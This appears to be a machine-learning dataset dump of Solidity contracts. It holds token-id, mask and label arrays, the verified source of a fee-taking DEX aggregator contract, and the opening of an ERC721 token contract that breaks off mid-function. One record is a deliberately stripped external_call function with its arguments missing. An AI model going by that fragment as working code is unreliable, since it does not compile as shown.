[ 1, 2257, 326, 394, 19890, 4993, 358, 1375, 12307, 3389, 1371, 17631, 1060, 20836, 68, 2874, 225, 19993, 3389, 1371, 17631, 1060, 4727, 1958, 358, 1707, 225, 19890, 20836, 1016, 19890, 17544, 509, 338, 358, 999, 1347, 15729, 326, 1375, 12307, 3389, 1371, 17631, 1060, 4727, 68, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 389, 542, 17631, 1060, 4727, 12, 24481, 3389, 1371, 17631, 1060, 4727, 3778, 19993, 3389, 1371, 17631, 1060, 4727, 16, 2254, 5034, 19890, 20836, 1016, 13, 3238, 288, 203, 202, 202, 11890, 5034, 526, 1016, 273, 19890, 20836, 1016, 342, 576, 31, 203, 202, 202, 11890, 5034, 1754, 273, 19890, 20836, 1016, 738, 576, 31, 203, 203, 202, 202, 430, 261, 3276, 422, 374, 13, 288, 203, 1082, 202, 12307, 3389, 1371, 17631, 1060, 20836, 63, 1126, 1016, 8009, 7124, 273, 19993, 3389, 1371, 17631, 1060, 4727, 31, 203, 1082, 202, 12307, 3389, 1371, 17631, 1060, 20836, 63, 1126, 1016, 8009, 476, 273, 19993, 3389, 1371, 17631, 1060, 4727, 31, 203, 202, 202, 97, 203, 202, 97, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2020-01-30 */ pragma solidity ^0.5.10; pragma experimental ABIEncoderV2; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * > Note: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * > It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } /** * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. */ function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract Callable { // Source: https://github.com/gnosis/MultiSigWallet/blob/master/contracts/MultiSigWallet.sol // call has been separated into its own function in order to take advantage // of the Solidity's code generator to produce a loop that copies tx.data into memory. function external_call(address destination, uint value, uint dataOffset, uint dataLength, bytes memory data) internal returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, add(d, dataOffset), dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } } contract IWETH is IERC20 { function withdraw(uint256 amount) external; } contract ApprovalHandler is Ownable { using SafeERC20 for IERC20; function transferFrom(IERC20 erc, address sender, address receiver, uint256 numTokens) external onlyOwner { erc.safeTransferFrom(sender, receiver, numTokens); } } contract DexTradingWithCollection is Ownable, Callable { using SafeMath for uint256; using SafeERC20 for IERC20; ApprovalHandler public approvalHandler; event Trade(address indexed from, address indexed to, uint256 toAmount, address indexed trader, address[] exchanges, uint256 tradeType); event BasisPointsSet(uint256 indexed newBasisPoints); event BeneficiarySet(address indexed newBeneficiary); event DexagSet(address indexed newDexag); IWETH public WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); address payable beneficiary; address payable dexag; uint256 public basisPoints; constructor(address payable _beneficiary, address payable _dexag, uint256 _basisPoints) public { approvalHandler = new ApprovalHandler(); beneficiary = _beneficiary; dexag = _dexag; basisPoints = _basisPoints; } function trade( IERC20 from, IERC20 to, uint256 fromAmount, address[] memory exchanges, address[] memory approvals, bytes memory data, uint256[] memory offsets, uint256[] memory etherValues, uint256 limitAmount, uint256 tradeType ) public payable { require(exchanges.length > 0, 'No Exchanges'); require(exchanges.length == approvals.length, 'Every exchange must have an approval'); require(limitAmount > 0, 'Limit Amount must be set'); // if from is an ERC20, pull tokens from msg.sender if (address(from) != 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) { approvalHandler.transferFrom(from, msg.sender, address(this), fromAmount); } // execute trades on dexes executeTrades(from, exchanges, approvals, data, offsets, etherValues); // check how many tokens were received after trade execution uint256 tradeReturn = viewBalance(to, address(this)); require(tradeReturn >= limitAmount, 'Trade returned less than the minimum amount'); // return any unspent funds uint256 leftover = viewBalance(from, address(this)); if (leftover > 0) { sendFunds(from, msg.sender, leftover); } sendCollectionAmount(to, tradeReturn); sendFunds(to, msg.sender, viewBalance(to, address(this))); // check for leftover ethFee address self = address(this); msg.sender.transfer(self.balance); emit Trade(address(from), address(to), tradeReturn, msg.sender, exchanges, tradeType); } function tradeAndSend( IERC20 from, IERC20 to, address payable recipient, uint256 fromAmount, address[] memory exchanges, address[] memory approvals, bytes memory data, uint256[] memory offsets, uint256[] memory etherValues, uint256 limitAmount, uint256 tradeType ) public payable { require(exchanges.length > 0, 'No Exchanges'); require(exchanges.length == approvals.length, 'Every exchange must have an approval'); require(limitAmount > 0, 'Limit Amount must be set'); require(recipient != address(0), 'Must set a recipient'); // if from is an ERC20, pull tokens from msg.sender if (address(from) != 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) { approvalHandler.transferFrom(from, msg.sender, address(this), fromAmount); } // execute trades on dexes executeTrades(from, exchanges, approvals, data, offsets, etherValues); // check how many tokens were received after trade execution uint256 tradeReturn = viewBalance(to, address(this)); require(tradeReturn >= limitAmount, 'Trade returned less than the minimum amount'); // return any unspent funds uint256 leftover = viewBalance(from, address(this)); if (leftover > 0) { sendFunds(from, msg.sender, leftover); } sendCollectionAmount(to, tradeReturn); sendFunds(to, recipient, viewBalance(to, address(this))); // check for leftover ethFee address self = address(this); msg.sender.transfer(self.balance); emit Trade(address(from), address(to), tradeReturn, msg.sender, exchanges, tradeType); } function executeTrades( IERC20 from, address[] memory exchanges, address[] memory approvals, bytes memory data, uint256[] memory offsets, uint256[] memory etherValues) internal { for (uint i = 0; i < exchanges.length; i++) { // prevent calling the approvalHandler and check that exchange is a valid contract address require(exchanges[i] != address(approvalHandler) && isContract(exchanges[i]), 'Invalid Address'); if (approvals[i] != address(0)) { // handle approval if the aprovee is not the exchange address approve(from, approvals[i]); } else { // handle approval if the approvee is the exchange address approve(from, exchanges[i]); } // do trade require(external_call(exchanges[i], etherValues[i], offsets[i], offsets[i + 1] - offsets[i], data), 'External Call Failed'); } } // ERC20 Utility Functions function approve(IERC20 erc, address approvee) internal { if ( address(erc) != 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE && erc.allowance(address(this), approvee) == 0 ) { erc.safeApprove(approvee, uint256(-1)); } } function viewBalance(IERC20 erc, address owner) internal view returns(uint256) { if (address(erc) == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) { return owner.balance; } else { return erc.balanceOf(owner); } } function sendFunds(IERC20 erc, address payable receiver, uint256 funds) internal { if (address(erc) == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) { receiver.transfer(funds); } else { erc.safeTransfer(receiver, funds); } } // Send collection amounts function sendCollectionAmount(IERC20 erc, uint256 tradeReturn) internal { uint256 collectionAmount = tradeReturn.mul(basisPoints).div(10000); uint256 platformFee = collectionAmount.mul(4).div(5).add(collectionAmount.div(50)); sendFunds(erc, beneficiary, platformFee); sendFunds(erc, dexag, collectionAmount.sub(platformFee)); } // Contract Settings function setbasisPoints(uint256 _basisPoints) external onlyOwner { basisPoints = _basisPoints; emit BasisPointsSet(basisPoints); } function setBeneficiary(address payable _beneficiary) external onlyOwner { require(_beneficiary != address(0)); beneficiary = _beneficiary; emit BeneficiarySet(_beneficiary); } function setDexag(address payable _dexag) external { require(msg.sender == address(dexag)); require(_dexag != address(0)); dexag = _dexag; emit DexagSet(dexag); } /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * > It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function withdrawWeth() external { uint256 amount = WETH.balanceOf(address(this)); WETH.withdraw(amount); } function () external payable { require(msg.sender != tx.origin); } }
It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + callNewAccountGas (25000, in case the destination address does not exist and needs creating)
function external_call(address destination, uint value, uint dataOffset, uint dataLength, bytes memory data) internal returns (bool) { bool result; assembly { result := call( destination, value, add(d, dataOffset), x, ) } return result; }
2,538,083
[ 1, 7193, 6104, 745, 27998, 261, 26874, 13, 397, 745, 58, 627, 10520, 261, 23, 16, 358, 8843, 364, 10025, 13, 397, 745, 620, 5912, 27998, 261, 29, 3784, 13, 397, 745, 1908, 3032, 27998, 261, 2947, 3784, 16, 316, 648, 326, 2929, 1758, 1552, 486, 1005, 471, 4260, 4979, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 3903, 67, 1991, 12, 2867, 2929, 16, 2254, 460, 16, 2254, 501, 2335, 16, 2254, 27972, 16, 1731, 3778, 501, 13, 2713, 1135, 261, 6430, 13, 288, 203, 203, 3639, 1426, 563, 31, 203, 203, 3639, 19931, 288, 203, 203, 203, 203, 5411, 563, 519, 745, 12, 203, 203, 203, 203, 203, 7734, 2929, 16, 203, 203, 7734, 460, 16, 203, 203, 7734, 527, 12, 72, 16, 501, 2335, 3631, 203, 203, 203, 7734, 619, 16, 203, 203, 203, 5411, 262, 203, 203, 3639, 289, 203, 203, 3639, 327, 563, 31, 203, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title ERC721 interface * @dev see https://github.com/ethereum/eips/issues/721 */ contract ERC721 { event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function transfer(address _to, uint256 _tokenId) public; function approve(address _to, uint256 _tokenId) public; function takeOwnership(uint256 _tokenId) public; } /** * @title ERC721Token * Generic implementation for the required functionality of the ERC721 standard */ contract ERC721Token is ERC721 { using SafeMath for uint256; // Total amount of tokens uint256 private totalTokens; // Mapping from token ID to owner mapping (uint256 => address) private tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) private tokenApprovals; // Mapping from owner to list of owned token IDs mapping (address => uint256[]) private ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private ownedTokensIndex; /** * @dev Guarantees msg.sender is owner of the given token * @param _tokenId uint256 ID of the token to validate its ownership belongs to msg.sender */ modifier onlyOwnerOf(uint256 _tokenId) { require(ownerOf(_tokenId) == msg.sender); _; } /** * @dev Gets the total amount of tokens stored by the contract * @return uint256 representing the total amount of tokens */ function totalSupply() public view returns (uint256) { return totalTokens; } /** * @dev Gets the balance of the specified address * @param _owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address _owner) public view returns (uint256) { return ownedTokens[_owner].length; } /** * @dev Gets the list of tokens owned by a given address * @param _owner address to query the tokens of * @return uint256[] representing the list of tokens owned by the passed address */ function tokensOf(address _owner) public view returns (uint256[]) { return ownedTokens[_owner]; } /** * @dev Gets the owner of the specified token ID * @param _tokenId uint256 ID of the token to query the owner of * @return owner address currently marked as the owner of the given token ID */ function ownerOf(uint256 _tokenId) public view returns (address) { address owner = tokenOwner[_tokenId]; require(owner != address(0)); return owner; } /** * @dev Gets the approved address to take ownership of a given token ID * @param _tokenId uint256 ID of the token to query the approval of * @return address currently approved to take ownership of the given token ID */ function approvedFor(uint256 _tokenId) public view returns (address) { return tokenApprovals[_tokenId]; } /** * @dev Transfers the ownership of a given token ID to another address * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred */ function transfer(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) { clearApprovalAndTransfer(msg.sender, _to, _tokenId); } /** * @dev Approves another address to claim for the ownership of the given token ID * @param _to address to be approved for the given token ID * @param _tokenId uint256 ID of the token to be approved */ function approve(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) { address owner = ownerOf(_tokenId); require(_to != owner); if (approvedFor(_tokenId) != 0 || _to != 0) { tokenApprovals[_tokenId] = _to; Approval(owner, _to, _tokenId); } } /** * @dev Claims the ownership of a given token ID * @param _tokenId uint256 ID of the token being claimed by the msg.sender */ function takeOwnership(uint256 _tokenId) public { require(isApprovedFor(msg.sender, _tokenId)); clearApprovalAndTransfer(ownerOf(_tokenId), msg.sender, _tokenId); } /** * @dev Mint token function * @param _to The address that will own the minted token * @param _tokenId uint256 ID of the token to be minted by the msg.sender */ function _mint(address _to, uint256 _tokenId) internal { require(_to != address(0)); addToken(_to, _tokenId); Transfer(0x0, _to, _tokenId); } /** * @dev Burns a specific token * @param _tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(uint256 _tokenId) onlyOwnerOf(_tokenId) internal { if (approvedFor(_tokenId) != 0) { clearApproval(msg.sender, _tokenId); } removeToken(msg.sender, _tokenId); Transfer(msg.sender, 0x0, _tokenId); } /** * @dev Tells whether the msg.sender is approved for the given token ID or not * This function is not private so it can be extended in further implementations like the operatable ERC721 * @param _owner address of the owner to query the approval of * @param _tokenId uint256 ID of the token to query the approval of * @return bool whether the msg.sender is approved for the given token ID or not */ function isApprovedFor(address _owner, uint256 _tokenId) internal view returns (bool) { return approvedFor(_tokenId) == _owner; } /** * @dev Internal function to clear current approval and transfer the ownership of a given token ID * @param _from address which you want to send tokens from * @param _to address which you want to transfer the token to * @param _tokenId uint256 ID of the token to be transferred */ function clearApprovalAndTransfer(address _from, address _to, uint256 _tokenId) internal { require(_to != address(0)); require(_to != ownerOf(_tokenId)); require(ownerOf(_tokenId) == _from); clearApproval(_from, 